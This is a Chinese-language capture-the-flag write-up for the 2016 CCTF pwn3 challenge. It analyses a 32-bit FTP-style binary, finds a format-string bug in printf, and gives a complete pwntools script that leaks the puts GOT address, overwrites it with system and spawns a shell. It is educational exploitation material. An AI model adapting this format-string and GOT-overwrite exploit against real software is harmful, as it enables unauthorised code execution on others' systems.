cctfpwn3-2016

2016CCTFpwn3
32位程序。开启nx保护。
首先程序需要我们输入用户名~
“”

上 ida 找找~有2个比较关键的函数。跟进去分析
“”

ask_username ()
输入在 src 中,只能接收40个字节。
for ( i = 0; i <= 39 && src[i]; ++i )
++src[i];
for 循环,当 src 不为空的时候,把 src 内容自增 1
最后复制到 dest 中
“”

ask_password()
比较 s1 与 sysbdmin 。相等就 welcome!
“”
解密一下:
sysbdmin 依次 -1 ,变成比自己低一位的 字母。
rxraclhm
这就是正确的name
“”

输入正确后,程序开始执行下面的操作。还是去 ida 看。
“”

可以看到有3个操作, put_file show_dir get_file,那个 v3 应该是我们输入的命令。
“”
跟进 command 命令可以看到 接收输入为 get put dir
好,到目前为止,没有发现任何漏洞,或者常规的奇怪的地方~~~那就去3个函数里看看。

put_file函数。给 v0 分配 244字节
接收2次输入,长度都是限定为40字节。2次数据都放在了 bss段
file_head 是一个bss段地址,放在了 v0+60处
“”

“”

get_file() 。
在 for 循环里有个 strcmp ,当 i 与 s1 相等,s1 是我们这里的输入, i 是file_head 里的,
然后进入 if,执行到一个 printf 函数。
printf 函数会打印出 我们在 put_file 函数中的 第二次输入 ( i + 40 )。这关键!!
printf 本身存在格式化字符串漏洞。
“”

show_dir()
这个函数最后调用了 puts() ,puts输出的 s 从 file_head 中来。
“”

那么利用思路就是:
用 printf leak 出 puts_got 地址,然后计算 system 地址,把 system 地址 写入到 put_got 地址的位置,传入 /bin/sh,在调用 shou_dir 函数,触发 puts 函数,由于 puts在got中的地址被换成了 system,所以就是执行 system(/bin/sh)

来细说下:
0,输入用户名 rxraclhm 进入程序
1,先调用 puts 函数,第一次输入4字节 随便什么数据 比如 AAAA,第二次 输入 %N$s + puts_got 地址
2,调用 get 函数,输入 AAAA ,程序会执行到 printf ,会打印出 需要的 puts_gots 地址
3,接到 puts_got 地址,计算 sytem
4,在调用 put 函数,这次输入 /bin/sh ,然后再输入 fmtstr_payload(NN, {puts_got: system_addr}) (利用 fmtstr_payload ,意思是 向栈中偏移为 N 位置,puts_got地址处写入system_addr地址。默认情况下是按照字节来写的 )
5、调用 get 函数,输入 /bin/sh; 触发printf ,此次 puts_got 地址被换成了 system_addr。
6,执行 dir 函数,触发 puts 函数。拿到 shell

上面的关键,应就是找到 N 与 NN,(N 和 NN 是不一样的!N 是参数在栈中的偏移,NN 是格式化字符串参数在栈中的偏移,他们之间大小差1 )也就是 我们在 Put 函数中的 第二次的输入的数据 ,在栈中的偏移位置!!
上 gdb 调试,在main 打个断点,进入 put ,输入 AAAA BBBB ,然后中断程序~~
“”

可以看到有2处,都有我们输入的 BBBB。栈开头 是 0xbfffea58 ,这2出偏移为 3,8
所以格式化字符串的地址减一,减去 0xbfffea58 这个位置,他并不是格式化字符的参数。 所以,偏移为 2,7
(为什么会有2处,我 不明白,但是我使用第一处的偏移 2 ,是没有打成功的,我用的 7)
我们暂且用 7 来试试。 注意 点:我们构造的 def get 函数的使用, 传入的字符串是 /bin/sh;
from pwn import *
p = process(‘./pwn3’)
elf = ELF(‘pwn3’)
libc = ELF(‘/lib/i386-linux-gnu/libc.so.6’)

def put(first,second):
p.sendline(‘put’)
p.recvuntil(‘please enter the name of the file you want to upload:’)
p.sendline(first)
p.recvuntil(‘then, enter the content:’)
p.sendline(second)

def get(first):
p.sendline(‘get’)
p.recvuntil(‘enter the file name you want to get:’)
p.sendline(first)
data = p.recv(4)
return data
def show_dir():
p.sendline(‘dir’)

p.recvuntil(‘Name (ftp.hacker.server:Rainism):’)
p.sendline(‘rxraclhm’)
p.recvuntil(‘ftp>’)

puts_got = elf.got[‘puts’]
log.success(‘puts got : ‘ + hex(puts_got))
put(‘AAAA’,’%8$s’+p32(puts_got))

puts_real_addr = u32(get(‘AAAA’))

system_addr = puts_real_addr - libc.symbols[‘puts’] + libc.symbols[‘system’]
log.success(‘system_addr : ‘ + hex(system_addr))

p.recvuntil(‘ftp>’)
payload = fmtstr_payload(7, {puts_got: system_addr})
put(‘/bin/sh;’,payload)

p.recvuntil(‘ftp>’)
p.sendline(‘get’)
p.recvuntil(‘enter the file name you want to get:’)
p.sendline(‘/bin/sh;’)

p.recvuntil(‘ftp>’)
show_dir()
p.interactive()

“”